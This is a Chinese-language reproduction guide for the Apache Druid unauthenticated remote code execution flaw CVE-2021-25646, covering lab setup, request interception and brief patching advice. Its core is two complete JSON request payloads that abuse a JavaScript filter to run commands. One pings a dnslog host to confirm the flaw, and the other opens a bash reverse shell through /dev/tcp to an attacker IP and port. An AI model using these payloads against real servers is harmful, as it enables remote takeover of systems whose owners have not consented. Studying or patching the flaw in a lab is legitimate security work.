druid未授权命令执行漏洞(CVE-2021-25646)概述

由于Apache Druid 默认情况下缺乏授权认证，攻击者可直接构造恶意请求执行任意代码，控制服务器。
druid未授权命令执行漏洞复现(CVE-2021-25646)

影响版本

Apache Druid < 0.20.1

环境搭建

方式一、

这里使用0.2.0版本进行复现，下载地址：

https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz


wget https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz

下载后执行以下命令解压并启动漏洞环境。

tar -xzvf apache-druid-0.20.0-bin.tar.gz

cd apache-druid-0.20.0
./bin/start-micro-quickstart

方式二、

1.安装docker

apt install docker.io

2.搭建漏洞环境

docker run -d -p 8081:8888 fokkodriesprong/docker-druid

启动成功

网站访问：http://ip:8081
注意：查看服务器端口开放情况

复现步骤

1.点击Load data

2.点击Local disk

3.右侧

Base directory填入：quickstart/tutorial/
File filter填入：wikiticker-2015-09-12-sampled.json.gz
点击preview，burp抓包

用dnslog进行外带测试

Payload

测试漏洞是否存在 dnslog外带

把请求正文改成以下正文，把yt1biq.dnslog.cn地址替换成自己获取的地址：

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping yt1biq.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

反弹shell（别的师傅测）

把请求正文改成以下正文，注意要改成自己的监听ip和端口：

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/121.36.200.207/1234 0>&1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}

成功反弹shell

修复方式

升级Apache Druid 到最新的版本
对Apache Druid进行权限控制，只允许受信任的主机访问集群服务器
建议及时更新Apache Druid，下载链接为：
https://druid.apache.org/downloads.html
https://github.com/apache/druid/releases/tag/druid-0.20.1

关闭靶机

Docker ps -a
Docker stop ip